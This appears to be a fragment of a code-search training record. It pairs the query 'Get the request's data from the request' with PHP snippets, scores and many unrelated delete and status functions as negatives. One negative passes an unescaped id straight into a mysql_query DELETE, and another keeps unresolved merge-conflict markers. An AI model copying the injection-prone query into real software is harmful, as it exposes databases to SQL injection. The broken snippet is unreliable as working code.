=Rent::find($req['id'])->where('book_id',$req['book_id'])->delete();\n $data =DB::table('rents')->where('book_id', $req['id'])->delete();\n\n $booked = DB::table('books')\n ->where('id', $req['id'])\n ->update(['booked_status' => '0']);\n \n }", "public function destroy(Status $status)\n {\n if ($status->delete()) {\n return response()->json([], 204);\n } else {\n return response()->json([\n 'error' => 'Can not delete status'\n ], 500);\n }\n }", "public function status_deletion_check($host_obj, $status)\n\t\t{\n\t\t\tif ($host_obj->order_status == $status->id)\n\t\t\t\tthrow new Phpr_ApplicationException('Status cannot be deleted because it is used in SecureTrading XPay payment method.');\n\t\t}", "public function destroy(ClientStatuses $status)\n {\n $status->delete();\n return redirect('/clients/statuses');\n }", "public function destroy(Booking $booking)\n {\t\n \t$data = array();\n $status = $booking->delete();\n\n if ($status) {\n \t$data['status'] = 1;\n \t$data['message'] = __('Successfully deleted meeting');\n }\n\n return response()->json($data, 200);\n }", "public function deleteStatus(Request $request){\n $id = $request->id;\n $status = Status::where( 'id' , $id )->first(); \n if (!isset($status)) {\n return response()->json(['data' => '' , 'message' => 'Status Not Found'], 400);\n } \n $status->delete();\n return response()->json(['data' => '' , 'message' => 'Status Deleted Successfully'], 200); \n }", "public function status_deletion_check($host_obj, $status)\n\t\t{\n\t\t\tif ($host_obj->order_status == $status->id)\n\t\t\t\tthrow new Phpr_ApplicationException('Status cannot be deleted because it is used in the Beanstream Transparent Redirect payment method.');\n\t\t}", "public function destroy(BookingRoom $bookingRoom)\n {\n //\n }", "function delete(){\n\t\tglobal $wpdb;\n\t\t$booking_ids = array();\n\t\tif( !empty($this->bookings) ){\n\t\t\t//get the booking ids tied to this event or preloaded into this object\n\t\t\tforeach( $this->bookings as $EM_Booking ){\n\t\t\t\t$booking_ids[] = $EM_Booking->booking_id;\n\t\t\t}\n\t\t\t$result_tickets = true;\n\t\t\t$result = true;\n\t\t\tif( count($booking_ids) > 0 ){\n\t\t\t\t//Delete bookings and ticket bookings\n\t\t\t\t$result_tickets = $wpdb->query(\"DELETE FROM \". EM_TICKETS_BOOKINGS_TABLE .\" WHERE booking_id IN (\".implode(',',$booking_ids).\");\");\n\t\t\t\t$result = $wpdb->query(\"DELETE FROM \".EM_BOOKINGS_TABLE.\" WHERE booking_id IN (\".implode(',',$booking_ids).\")\");\n\t\t\t}\n\t\t}elseif( !empty($this->event_id) ){\n\t\t\t//faster way of deleting bookings for an event circumventing the need to load all bookings if it hasn't been loaded already\n\t\t\t$event_id = absint($this->event_id);\n\t\t\t$booking_ids = $wpdb->get_col(\"SELECT booking_id FROM \".EM_BOOKINGS_TABLE.\" WHERE event_id = '$event_id'\");\n\t\t\t$result_tickets = $wpdb->query(\"DELETE FROM \". EM_TICKETS_BOOKINGS_TABLE .\" WHERE booking_id IN (SELECT booking_id FROM \".EM_BOOKINGS_TABLE.\" WHERE event_id = '$event_id')\");\n\t\t\t$result = $wpdb->query(\"DELETE FROM \".EM_BOOKINGS_TABLE.\" WHERE event_id = '$event_id'\");\n\t\t}else{\n\t\t\t//we have not bookings loaded to delete, nor an event to delete bookings from, so bookings are considered 'deleted' since there's nothing ot delete\n\t\t\t$result = $result_tickets = true;\n\t\t}\n\t\tdo_action('em_bookings_deleted', $result, $booking_ids);\n\t\treturn apply_filters('em_bookings_delete', $result !== false && $result_tickets !== false, $booking_ids, $this);\n\t}", "function bookingstatus_deletedata( $tbl_bookingstatus, $id ){\n\t\t$sql = mysql_query(\"\n\t\t\tDELETE FROM $tbl_bookingstatus WHERE id='$id'\n\t\t\");\n\t\treturn $sql;\n}", "function delete(){\r\n\t\tglobal $wpdb;\r\n\t\t$sql = $wpdb->prepare(\"DELETE FROM \". EM_TICKETS_BOOKINGS_TABLE . \" WHERE ticket_booking_id=%d\", $this->id);\r\n\t\t$result = $wpdb->query( $sql );\r\n\t\treturn apply_filters('em_ticket_booking_delete', ($result !== false ), $this);\r\n\t}", "public function deleteFromBook(Book $book);", "public function destroy($final_status)\n {\n try {\n\n if (!request()->isJson())\n return $this->response->unauthorized();\n\n if (!is_numeric($final_status))\n return $this->response->badRequest();\n\n $finalStatusModel = FinalStatus::find($final_status);\n\n if (!isset($finalStatusModel))\n return $this->response->noContent();\n\n $finalStatusModel->delete();\n\n return $this->response->success(null);\n } catch (\\Exception $exception) {\n\n return $this->response->exception($exception->getMessage());\n }\n }", "public function listsstatusdelete($status_id)\r\n {\r\n $deleted_status = Status::destroy($status_id);\r\n if($deleted_status){\r\n return response()->json(['msg' => 'Deleted status']);\r\n }\r\n }", "public function destroy(OrderStatus $orderStatus)\n {\n //\n }", "public function cancel(Booking $booking)\n {\n $user = User::where('api_token', request('api_token'))->first();\n\n if($user == null)\n {\n return response(['status'=> 'failed', 'message' => 'Please try again!', 'data' => []], 200);\n }\n\n $booking->status = -1;\n\n $booking->save();\n\n //\\Mail::to($user)->send(new BookingCancelled($booking));\n\n sendSMS( $booking->phone, 'Droghers Luggage Travel booking with ID ' . $booking->id . ' has been cancelled!');\n\n sendSMS('9582873902', 'Droghers - Booking ID ' . $booking->id . ' is cancelled!');\n sendSMS('7838233012', 'Droghers - Booking ID ' . $booking->id . ' is cancelled!');\n sendSMS('9873431797', 'Droghers - Booking ID ' . $booking->id . ' is cancelled!');\n\n\n return response(['status'=> 'success', 'message' => 'Booking cancelled!', 'data' => []], 200);\n }", "protected function status($status)\n {\n if ($status === 'unpublished') {\n return $this->builder->onlyTrashed();\n }\n }", "public function destroy(Booking $booking)\n {\n $booking->delete();\n return redirect()->action('BookingController@index');\n }", "public function deleteStatusAction()\n {\n $id = (int) $this->request->getParam('id');\n $brandId = (int) $this->request->getParam('brandId');\n\n $rel = new \\Brands\\Model\\Table\\BrandsStatusesRel();\n $row = $rel->find($id)->current();\n\n if ($row !== null) {\n $row->delete();\n $this->getModel()->fixLastStatus($brandId);\n }\n\n $redirect = new RedirectResponse(route(null, array('action' => 'edit', 'id' => $brandId, 'brandId' => null)));\n $redirect->withFlash(sprintf('Запис %s беше изтрит', $id));\n\n return $redirect;\n }", "function delete(){\r\n\t\tglobal $wpdb;\r\n\t\t$sql = $wpdb->prepare(\"DELETE FROM \". $wpdb->prefix.EM_BOOKINGS_TABLE . \" WHERE booking_id=%d\", $this->id);\r\n\t\treturn ( $wpdb->query( $sql ) !== false );\r\n\t}", "public function destroy(User_status $userstatus)\n {\n //\n }", "public function destroy($id)\n {\n\t\t$apstatus = ApplicationStatus::find($id);\n\t\t\n $apstatus->delete();\n Session::flash('message','Estado Eliminado Correctamente');\n return Redirect::to('/admin/application-status'); \n }", "public function destroy($id, $status)\n {\n //\n $set = Informasi::find($id);\n if ($status == 'aktifkan') {\n $set->activated = 1;\n } else {\n $set->activated = 0;\n }\n $set->updated_by = Auth::user()->id;\n $set->save();\n\n \\LogActivities::insLogActivities('log destroy successfully.');\n\n return redirect()->route('article.index')->with('message', 'Berhasil mengubah status article.');\n }", "public function destroy(Booking $booking)\n {\n $this->service->delete($booking);\n return back();\n }", "public function delete($id,$status)\n {\n\n $pelanggan = Data_pelanggan::where('id_pelanggan', '=', $id);\n $pelanggan->delete();\n\n if ($status == 'berbayar'){\n return redirect('pelanggan_berbayar');\n } elseif ($status == 'free'){\n return redirect('pelanggan_free');\n } else {\n return redirect('pelanggan_all');\n }\n\n }", "public function destroy(Booking $booking)\n {\n if($booking->delete()) {\n return response()->json($booking);\n };\n }", "public function destroy(Book $book)\n {\n $this->service->setInstance($book); //setting already fetched instance into repository, so Laravel didn`t do it without purpose\n\n $result = $this->service->destroy();\n\n if ($result === false || blank($result)) {\n return response()->json([\n 'success' => false,\n 'message' => 'not deleted'\n ], Response::HTTP_BAD_REQUEST);\n }\n\n return response()->json([\n 'success' => true,\n 'message' => 'deleted',\n 'code' => Response::HTTP_ACCEPTED,\n ], Response::HTTP_ACCEPTED);\n }", "public function destroy(AccStatusRequest $request, $id)\n {\n $game = AccStatus::findOrFail($id);\n if($game->delete()) return response(null, 204);\n }", "public function remove(BookableArea $bookableArea);", "public function destroy( Booking $booking ) {\n /* Remove also the connection with the user */\n $booking->users()->detach();\n\n $booking->delete();\n\n return redirect()->route( 'bookings.index' );\n }", "public function destroy(book $book)\n {\n //\n }", "function ostDeleteOrderStatus( $statusID )\r\n{\r\n\t$statusID = intval($statusID);\r\n\t$q = db_query(\"select count(*) from \".ORDERS_TABLE.\" where statusID=\".$statusID );\r\n\t$r = db_fetch_row( $q );\r\n\tif ( $r[0] != 0 )\r\n\treturn false;\r\n\tdb_query(\"delete from \".ORDER_STATUSES_TABLE.\r\n\t\t\" where statusID=$statusID\" );\r\n\treturn true;\r\n}", "protected function resetStatuses()\n {\n $this->pubDirectory->delete($this->getRelativeFilePath(self::IMPORT_STATUS_READY));\n $this->pubDirectory->delete($this->getRelativeFilePath(self::IMPORT_STATUS_BUSY));\n $this->pubDirectory->delete($this->getRelativeFilePath(self::IMPORT_STATUS_FAILED));\n }", "public function destroy(Booking $booking)\n {\n $booking->abort();\n\n return redirect()->back();\n }", "public function destroy($id)\n {\n Status::find($id)->delete();\n }", "public function delete_status($idstatus)\n {\n return $this->db->delete('cat_status', array('idstatus' => $idstatus));\n }", "public function checkOut()\n {\n $this->update(['book_status' => 'checkedout']);\n }", "public function destroy(Book $book)\n {\n Book::destroy($book->id);\n return redirect('/books')->with('status', 'Data Buku Berhasil Dihapus!');\n }", "public function destroy($id)\n {\n $space = Booking::find($id);\n Booking::destroy($id);\n return redirect()->back()->with(['success'=>\"Booking $space->room_number unbooked successfully\"]);\n }", "public function destroy($id)\n {\n //\n $direct_booking = DirectBooking::find($id);\n if($direct_booking) {\n $direct_booking->delete();\n $response = [\n 'success' => true,\n 'message' => 'Booking successfully deleted!!',\n ];\n return response()->json($response, 200);\n } else {\n return response()->json(\n [\n 'success'=> false,\n 'message' => 'Booking not found',\n ],\n 500);\n }\n}", "public function destroy(Request $request)\n {\n \n $validation = Validator::make(\n $request->all(),\n [\n 'status_id' => 'required|integer|numeric',\n ]\n );\n $errors = $validation->errors();\n\n if($validation->fails()){\n\n $response = array(\n \"message\" => \"Failed\",\n \"errors\" => $errors,\n\n );\n return response()->json($response);\n\n }\n else{\n\n if($request->isMethod(\"delete\")){\n\n $pivotStatus = PivotStatus::find($request->status_id);\n $this->authorize('delete', $pivotStatus);\n $pivotStatus->delete();\n \n $response = array(\n \"message\" => \"Deleted\",\n \"request\" => $request->all(),\n );\n \n return response()->json($response);\n\n }\n\n }\n \n }", "public function destroy($id)\n { \n\n $booking = Booking::find($id);\n \n if(auth()->user()->id !==$booking->user_id){\n return redirect('/bookings')->with('error', 'Unauthorized Page');\n }\n\n $booking->delete();\n return redirect('/bookings')->with('success', 'Booking Deleted');\n }", "public function desactivar()\n {\n $this->estatus = 0;\n $this->save();\n }", "public function setBookingStatus($bookingStatus = null)\n {\n // validation for constraint: string\n if (!is_null($bookingStatus) && !is_string($bookingStatus)) {\n throw new \\InvalidArgumentException(sprintf('Invalid value, please provide a string, \"%s\" given', gettype($bookingStatus)), __LINE__);\n }\n if (is_null($bookingStatus) || (is_array($bookingStatus) && empty($bookingStatus))) {\n unset($this->BookingStatus);\n } else {\n $this->BookingStatus = $bookingStatus;\n }\n return $this;\n }", "function delete_reservation($id) {\n global $DB;\n\n $reservation = $DB->get_record('roomscheduler_reservations', array('id' => $id));\n\n //print_object($reservation);\n\n $reservation->active = 0;\n\n return $DB->update_record('roomscheduler_reservations', $reservation);\n}", "public static function removePending($user, $apartment) {\n\t\t\t\n\t\t\t$pendigBooking = Booking::where('status', 'pending')->where('apartment_id', $apartment->id)->where('user_booking_id', $user->id)->first();\n\t\t\tif ($pendigBooking != null) {\n\t\t\t\t$pendigBooking->delete();\n\t\t\t}\n\t\t}", "public function destroy(Book $book)\n {\n //\n }", "public function destroy(Book $book)\n {\n //\n }", "public function destroy(Book $book)\n {\n //\n }", "public function destroy(Book $book)\n {\n //\n }", "public function destroy(Book $book)\n {\n //\n }", "public function destroy(Book $book)\n {\n //\n }", "public function destroy(Book $book)\n {\n //\n }", "public function destroy(Book $book)\n {\n //\n }", "public function destroy(Book $book)\n {\n //\n }", "public function destroy(Book $book)\n {\n //\n }", "public function set_last_billed_status( $status ) {\n\t\t$this->set_prop( 'last_billed_status', $status ) ;\n\t}", "public function destroy($book)\n {\n return $this->successResponse($this->bookService->deleteBook($book));\n }", "public function destroy(StatusOrder $statusOrder)\n {\n //\n }", "private function deletePaymentStatus()\n {\n $sql = \"DELETE FROM s_core_states WHERE `group` = 'payment' AND\n id IN (1750, 1751, 1752, 1753)\";\n Shopware()->Db()->query($sql);\n $sql = \"DELETE FROM s_core_snippets WHERE name in ('in_review',\"\n . \"'pre_authorization_of_payment', 'payment_accepted', \"\n . \"'refund')\";\n Shopware()->Db()->query($sql);\n }", "public function testSuccessfulRemoveBookCondition()\n {\n $user = User::find(1);\n $this->actingAs($user);\n\n $bookPivotTest = CollectionPivot::where([\n 'collection_id' => 'collection_5fac21047eb21',\n ])->latest()->first();\n\n $response = $this->postJson('/v1/collection/book/remove', [\n 'collection_id' => 'collection_5fac21047eb21',\n 'book_id' => $bookPivotTest->book_id,\n ]);\n\n $response->assertSessionHas('success', 'Successfully removed the book from the collection.');\n }", "public function deleteCollection(int $collectionId, ?int $status = null): void;", "public function destroy($id)\n {\n $client = new Client([\"base_uri\" => \"https://evening-tundra-69683.herokuapp.com\"]);\n\n $response = $client->request(\"DELETE\", \"/nonAdmin/bookings/\".$id, [\n \"headers\" => [\"Authorization\" => Session::get(\"token\")],\n ]);\n\n\n $result = json_decode($response->getBody());\n\n\n return redirect('/bookings');\n }", "public function setStatus($status);", "public function setStatus($status);", "public function destroy(Request $request, $id)\n {\n $status = Status::findOrFail($id);\n $name = $status->name;\n\n if ($request->input('tickets_new_status_id') != '') {\n $this->validate($request, [\n 'tickets_new_status_id' => 'required|exists:panichd_statuses,id',\n ]);\n $status->delete($request->tickets_new_status_id);\n } else {\n if ($status->tickets()->count() > 0) {\n return back()->with('warning', trans('panichd::admin.status-delete-error-no-status', ['name' => $name]));\n }\n\n $status->delete();\n }\n\n Session::flash('status', trans('panichd::lang.status-name-has-been-deleted', ['name' => $name]));\n\n return redirect()->action('\\PanicHD\\PanicHD\\Controllers\\StatusesController@index');\n }", "public function destroy(int $book)\n {\n return $this->successResponse($this->client->destroyBook($book));\n }", "public function cleanup(){\n\t\t$accountBookings = Billing_Controller_AccountBooking::getInstance()->getByBookingId($this->getId());\n\t\t\n\t\tforeach($accountBookings as $accountBooking){\n\t\t\tBilling_Controller_AccountBooking::getInstance()->delete(array($accountBooking->getId()));\n\t\t}\n\t}", "public function destroy($id)\n {\n //\n // dd($id);\n $booking = Booking::findOrFail($id)->delete();\n // dd($booking);\n return back();\n }", "function gf_remove_processing_status($statuses){\n if(isset($statuses['wc-processing'])){\n unset($statuses['wc-processing']);\n }\n if(isset($statuses['wc-pending'])){\n unset($statuses['wc-pending']);\n }\n if(isset($statuses['wc-cancelled'])){\n unset($statuses['wc-cancelled']);\n }\n if(isset($statuses['wc-failed'])){\n unset($statuses['wc-failed']);\n }\n return $statuses;\n}", "public function destroy(EvidentionStatus $evidentionStatus)\n {\n $evidentionStatus->update([\n 'user_id' => Auth::id(),\n 'isActive' => !$evidentionStatus->isActive,\n ]);\n\n return EvidentionStatus::with('status')->where('id', $evidentionStatus->id)->first();\n }", "public function destroy(Request $request, $id)\n {\n $saloon = Booking::find($id);\n $saloon->delete();\n $request->session()->flash('delete','Booking Deleted Successfully');\n return redirect('booking_admin');\n }", "public function destroy(Book $book)\n {\n $book->delete();\n<<<<<<< 4f95b62a3e11769b3815c3c24aa6c4661f507165\n\n=======\n>>>>>>> add update data of admin\n return Redirect::to('books');\n }", "public function deleteAction(Request $request, Reservationbook $reservationbook)\n {\n $form = $this->createDeleteForm($reservationbook);\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->remove($reservationbook);\n $em->flush();\n }\n\n return $this->redirectToRoute('reservationbook_index');\n }", "function wpbs_delete_booking_meta($booking_id, $meta_key, $meta_value = '', $delete_all = '')\n{\n\n return wp_booking_system()->db['bookingmeta']->delete($booking_id, $meta_key, $meta_value, $delete_all);\n\n}", "public function destroy(Booking $booking)\n {\n try {\n $booking->delete();\n return response()->json([\n 'status' => 'success',\n 'data' => $booking,\n 'message' => __(\"Booking :number successfully deleted\", [\n 'number' => $booking->booking_number\n ])\n ]);\n } catch (Throwable $e) {\n return response()->json([\n 'status' => 'error',\n 'message' => __(\"Delete booking :number failed\", [\n 'number' => $booking->booking_number\n ])\n ], 500);\n }\n }", "public function destroy($id)\n {\n //\n $booking = Booking::query()->find($id);\n $booking->delete();\n return redirect('user/bookings')->with('danger', 'Your booking has been cancelled!');\n }", "public function destroy(Request $request)\n {\n\n DB::table('assignment')->where('student_id', $request->student_id)->update(['status' => \"Declined\"]);\n\n }", "public function UpdateStatusFromBookings()\n\t{\tif ($this->id)\n\t\t{\t$this->UpdateStatus(count($this->GetBookings()) >= $this->details['tqty'] ? 'sold_out' : 'in_stock');\n\t\t}\n\t}", "public function removeHistoryStatusFilter()\n {\n $status = $this->helper()->getConfigData('sro_status_delayed');\n $trackList = $this->getRequestCollection();\n \n foreach ($trackList as $key => $track) {\n foreach ($track->getShipment()->getOrder()->getAllStatusHistory() as $history) {\n if ($status == $history->getData('status')) {\n Mage::log(\"{$track->getNumber()}: history found ({$status}) / ignored status\");\n $trackList->removeItemByKey($key);\n break;\n }\n }\n }\n \n $this->setLog(\"{$trackList->count()} never-delayed of {$this->getLog()}\");\n return $this->setRequestCollection($trackList);\n }", "public function destroy(PropertyStatus $propertyStatus)\n {\n $propertyStatus->delete();\n\n Session::flash('success', \"Registro eliminado satisfactoriamente\");\n\n return redirect()->route('property_status.index');\n }", "private function deleteLocalEbayListing()\n\t{\n\t\tif (!empty ($_REQUEST['listings'])) {\n\t\t\t$itemIds = $_REQUEST['listings'];\n\t\t\tif (!is_array($itemIds)) {\n\t\t\t\t$itemIds = array($itemIds);\n\t\t\t}\n\t\t\tif( $this->deleteEbayListingRefByItemId($itemIds) ) {\n\t\t\t\t// Log this action\n\t\t\t\t$GLOBALS['ISC_CLASS_LOG']->LogAdminAction(count($itemIds));\n\t\t\t\tFlashMessage(GetLang('LocalListingDeletedSuccessfully'), MSG_SUCCESS, 'index.php?ToDo=viewEbay&currentTab=0', 'EbayLiveListing');\n\t\t\t} else {\n\t\t\t\tFlashMessage(GetLang('UnknownErrorDeletion'), MSG_ERROR, 'index.php?ToDo=viewEbay&currentTab=0', 'EbayLiveListing');\n\t\t\t}\n\t\t} else {\n\t\t\tFlashMessage(GetLang('InvalidDataSupplied'), MSG_ERROR, 'index.php?ToDo=viewEbay&currentTab=0', 'EbayLiveListing');\n\t\t}\n\t}", "public function destroy($id)\n {\n $booking = HbBooking::find($id);\n $booking->valid =false;\n $booking = $booking->save();\n return response()->json($booking);\n }", "public function eliminar() {\n //$this->delete();\n $campo_fecha_eliminacion = self::DELETED_AT;\n $this->$campo_fecha_eliminacion = date('Y-m-d H:i:s');\n $this->status = 0;\n $this->save();\n }" ]
[ "0.64840955", "0.6191185", "0.60397685", "0.59996754", "0.59996754", "0.59996754", "0.5938072", "0.58519894", "0.5803158", "0.58023715", "0.57866764", "0.56016785", "0.55720747", "0.5560717", "0.5553936", "0.5547078", "0.55167377", "0.54549253", "0.545363", "0.5448831", "0.5404874", "0.53751653", "0.5363855", "0.5341167", "0.5334233", "0.52976084", "0.528471", "0.5279822", "0.5249045", "0.5196424", "0.5163299", "0.5155555", "0.5150328", "0.5145047", "0.51358527", "0.5135569", "0.51266104", "0.51189303", "0.51162505", "0.51096714", "0.51091677", "0.5106262", "0.5102637", "0.51020455", "0.5088033", "0.50832903", "0.50514877", "0.5038373", "0.50293726", "0.50241077", "0.50219846", "0.5007863", "0.50004786", "0.4993438", "0.49814993", "0.49812526", "0.49807674", "0.49714273", "0.49668753", "0.4961773", "0.49612296", "0.4960347", "0.4953224", "0.4953224", "0.4953224", "0.4953224", "0.4953224", "0.4953224", "0.4953224", "0.4953224", "0.4953224", "0.4953224", "0.49495646", "0.49242365", "0.4920123", "0.49198833", "0.49144292", "0.4914042", "0.49045056", "0.48991802", "0.48991802", "0.48945108", "0.48866665", "0.4886233", "0.48809877", "0.4875307", "0.48739117", "0.487074", "0.4866598", "0.4860802", "0.48449", "0.48403034", "0.48285538", "0.48264068", "0.48246172", "0.48227513", "0.4815531", "0.4795354", "0.4794828", "0.47942695" ]
0.52073336
29
Get the request's data from the request.
protected function getData(Request $request) { $rules = [ 'name' => 'required|string|min:1', 'description' => 'string|min:1|nullable', ]; $data = $request->validate($rules); return $data; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getRequestData();", "public function getRequestData()\n {\n return json_decode($this->requestData);\n }", "private function getRequest() {\n return json_decode(request()->getContent(), true);\n }", "public function getRequestData(Request $request) {\n return $request->all();\n }", "public function getData()\n\t{\n if ( is_string($this->_data) ) {\n return $this->_data; \n }\n\t\telse \n return $this->_internal_request->to_postdata();\n\t}", "public function readHttpRequest(){\n\t\t\t$incomingFormData = file_get_contents('php://input');\n\t\t\t\n\t\t\treturn $incomingFormData;\n\t\t\t}", "public function getRequest()\n {\n return $this->data->request;\n }", "public function getRequestData(){\n\t\treturn array( \n \t\t\t'cmd' => $this->getRequestCommand(), \n \t\t\t'params' => $this->getParams() \n\t\t); \n\t}", "protected function getRequestData()\n {\n if ($this->requestData) {\n return $this->requestData;\n }\n\n $body = $this->getRequest()->getRawBody();\n try {\n $data = Zend_Json::decode($body);\n } catch (Zend_Exception $e) {\n $this->setErrorResponse('Broken JSON provided with request');\n }\n\n $this->requestData = $data;\n\n return $this->requestData;\n }", "function getData()\n {\n $method = $this->getMethod();\n $return = null;\n if ($method == 'GET') {\n $return = $_GET;\n } else if ($method == 'POST') {\n $return = $_POST;\n }\n\n return $return;\n }", "public function getAppData(Request $request) {\n $content = $request->getContent();\n $dataer = (object) $this->decodeObjectAction($content);\n $app_data = $dataer->reqObj;\n $req_obj = $app_data;\n return $req_obj;\n }", "public function getAppData(Request $request) {\n $content = $request->getContent();\n $dataer = (object) $this->decodeObjectAction($content);\n $app_data = $dataer->reqObj;\n $req_obj = $app_data;\n return $req_obj;\n }", "protected function getRequestPayload(Request $request)\n {\n $requestData = null;\n\n if (str_starts_with($request->headers->get('Content-Type'), 'application/json')) {\n $content = $request->getContent();\n if (! empty($content)) {\n $requestData = json_decode($content, true);\n }\n } else {\n $requestData = $request->request->all();\n }\n\n return $requestData;\n }", "public function readHttpRequest() {\n $incomingFormData = file_get_contents('php://input');\n\n return $incomingFormData;\n }", "public function getData()\n {\n return $this->getRequestParams();\n }", "public function getData()\n {\n return $this->getRequestParams();\n }", "public static function requestPayload() {\n return json_decode(file_get_contents('php://input'), true);\n }", "protected function getData(Request $request, $key = NULL) {\n return $key ? $request->request->get($key) : $request->request->all();\n }", "function getDataFromRequest( &$data ) {\n\n\t\t$requestVar = KRequest::getInt($this->propertyName, NULL);\n\n\t\tif (empty($requestVar)) {\n\t\t\t$data->{$this->propertyName} = NULL;\n\t\t}\n\t\telse {\n\t\t\t$data->{$this->propertyName} = $requestVar;\n\t\t}\n\n\t}", "private static function getData()\n {\n static $data = null;\n\n // Only parse once\n if ($data === null) {\n $content_type = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : null;\n if ($pos = strpos($content_type, ';')) {\n $content_type = substr($content_type, 0, $pos);\n }\n\n switch ($content_type) {\n case 'multipart/form-data':\n default:\n $data = $_REQUEST;\n break;\n case 'application/x-www-form-urlencoded':\n parse_str(file_get_contents('php://input'), $data);\n break;\n case 'application/json':\n $data = json_decode(file_get_contents('php://input'), true);\n break;\n case 'application/xml':\n case 'text/xml':\n $data = (array)simplexml_load_string(file_get_contents('php://input'));\n $data = array_map('trim', $data);\n break;\n }\n }\n\n return $data;\n }", "private function getRequestData()\n {\n $request = Shopware()->Front()->Request();\n\n return array(\n 'Class' => get_class($request),\n 'Module' => $request->getModuleName(),\n 'Controller' => $request->getControllerName(),\n 'Action' => $request->getActionName(),\n 'IP' => $request->getClientIp(),\n 'Http host' => $request->getHttpHost(),\n 'Request uri' => $request->getRequestUri(),\n 'Scheme' => $request->getScheme(),\n 'Server' => $request->getServer(),\n 'Base url' => $request->getBaseUrl(),\n 'Base url (raw)' => $request->getBaseUrl(true),\n 'Parameters' => $request->getParams(),\n 'Path information' => $request->getPathInfo(),\n 'Base path' => $request->getBasePath(),\n 'Header' => (function_exists('getallheaders')) ? getallheaders() : array(),\n );\n }", "public function getRequest()\n {\n return $this->get(self::_REQUEST);\n }", "protected function getRequestData()\n {\n return \\Includes\\Utils\\ArrayManager::filterByKeys(\n \\XLite\\Core\\Request::getInstance()->getData(),\n array('paymentStatus', 'shippingStatus', 'adminNotes')\n );\n }", "function getRequestInfo()\n\t{\n\t\treturn json_decode(file_get_contents('php://input'), true);\n\t}", "public function request(){\n\t\t$request = file_get_contents('php://input');\n\t\treturn json_decode($request,true);\n\t}", "function getData()\r\n {\r\n //if POST or PUT get the data wiht file_get_contents\r\n if ($this->request === \"POST\" || $this->request === \"PUT\") {\r\n $this->preCleanData = JSON_decode(file_get_contents(\"php://input\"));\r\n //else get the ID from $_get\r\n } else if ($this->request === \"GET\" || $this->request === \"DELETE\") {\r\n if (isset($_GET['ID'])) {\r\n $this->data = $_GET['ID'];\r\n return;\r\n } else {\r\n return;\r\n }\r\n }\r\n $this->cleanData();\r\n }", "protected function _request() {\n\t\treturn $this->_container->request;\n\t}", "public function data() {\n $request = $this->requestReader->getContents();\n\t\tif ($request) {\n if ($json_post = CJSON::decode($request)){\n\t\t\t\treturn $json_post;\n\t\t\t}else{\n\t\t\t\tparse_str($request,$variables);\n\t\t\t\treturn $variables;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "protected function getRequestBody()\n\t{\n\t\treturn $this->request->getContent();\n\t}", "function getRequest() {\n\t\treturn $this->m_request;\n\t}", "protected function loadFormData()\n {\n $data = JFactory::getApplication()->getUserState('com_labgeneagrogene.requests.data', array());\n\n if (empty($data)) {\n $id = JFactory::getApplication()->input->get('id');\n $data = $this->getData($id);\n }\n\n return $data;\n }", "function getRequest() {\n return $this->request;\n }", "static function getData( $verb ) {\n\t\tif ( in_array( $verb, array( 'put', 'delete' ) ) ) {\n\t\t\treturn json_decode(file_get_contents(\"php://input\"), true );\t\t\t\t\n\t\t} else\n\t\t\treturn $_REQUEST;\n\t}", "protected function getRequest() {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->get('request');\n }", "public function getRequest()\n {\n return $this->get('request');\n }", "public function getRequest()\n {\n return $this->get('request');\n }", "public function getRequest()\n {\n return $this->get('request');\n }", "protected function getRequest()\n {\n return $this->req;\n }", "public function getDataRequest()\n {\n /** @var Core_Entity_Request $dataRequest */\n $dataRequest = $this->_requestClass;\n return new $dataRequest(\n array(\n Core_Entity_Model_Abstract::CONSTRUCT_STORAGE => $this->getStorage()\n )\n );\n }", "protected function getRequest() {\n\t\treturn $this->request;\n\t}", "public function getRequest() {\n return $this->_request;\n }", "public function request()\n\t{\n\t\treturn $this->request;\n\t}", "public function get_request()\n\t{\n\t\treturn $this->request;\n\t}", "public function get_request()\n\t{\n\t\treturn $this->request;\n\t}", "public function getRequest()\n {\n return $this->req;\n }", "public function getRequest(){\n \n return $this->request;\n \n }", "public function getRequest() {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->_request;\n }", "public function getRequest()\n {\n return $this->_request;\n }", "public function request()\n {\n return $this->request;\n }", "public function request()\n {\n return $this->request;\n }", "public function request()\r\n {\r\n return $this->request;\r\n }", "public function getRequest() {\n\t\treturn $this->request;\n\t}", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequestData($key = null)\n {\n if (null === $key) {\n return $this->_request;\n }\n return isset($this->_request[$key]) ? $this->_request[$key] : null;\n }", "function getRequest() {\n\t\treturn $this->Request;\n\t}", "public function getRequest() {\n return $this->request;\n }", "protected function getRequest()\n {\n return $this->request;\n }", "protected function getRequest()\n {\n return $this->request;\n }", "protected function getRequest()\n {\n return $this->request;\n }", "protected function loadRequestData(Request $request)\n {\n try {\n $content = (string)$request->getContent();\n if (!empty($content)) {\n return \\Safe\\json_decode($content, true);\n } else {\n $content = $request->query->all();\n return $content;\n }\n } catch (\\Exception $exception) {\n return [];\n }\n }", "protected function getPostData(Request $request) {\n\t\tif (!isset($this->postData)) {\n\t\t\t$body = $request->Body;\n\t\t\t/** @var array $postVars */\n\t\t\t$postVars = $request->Post();\n\n\t\t\tif (isset($postVars['model'])) {\n\t\t\t\t$this->postData = json_decode($postVars['model'], true);\n\t\t\t} elseif (!empty($postVars)) {\n\t\t\t\t$this->postData = $postVars;\n\t\t\t} elseif (strlen($body) > 0) {\n\t\t\t\t$this->postData = json_decode($body, true);\n\t\t\t} else {\n\t\t\t\t$this->postData = [];\n\t\t\t}\n\t\t}\n\t\treturn $this->postData;\n\t}", "public function getRequest()\n\t{\n\t\treturn $this->request;\n\t}", "public function getRequest()\n\t{\n\t\treturn $this->request;\n\t}", "public function getRequest()\n\t{\n\t\treturn $this->request;\n\t}", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return $this->request;\n }", "public function getRequest()\n {\n return 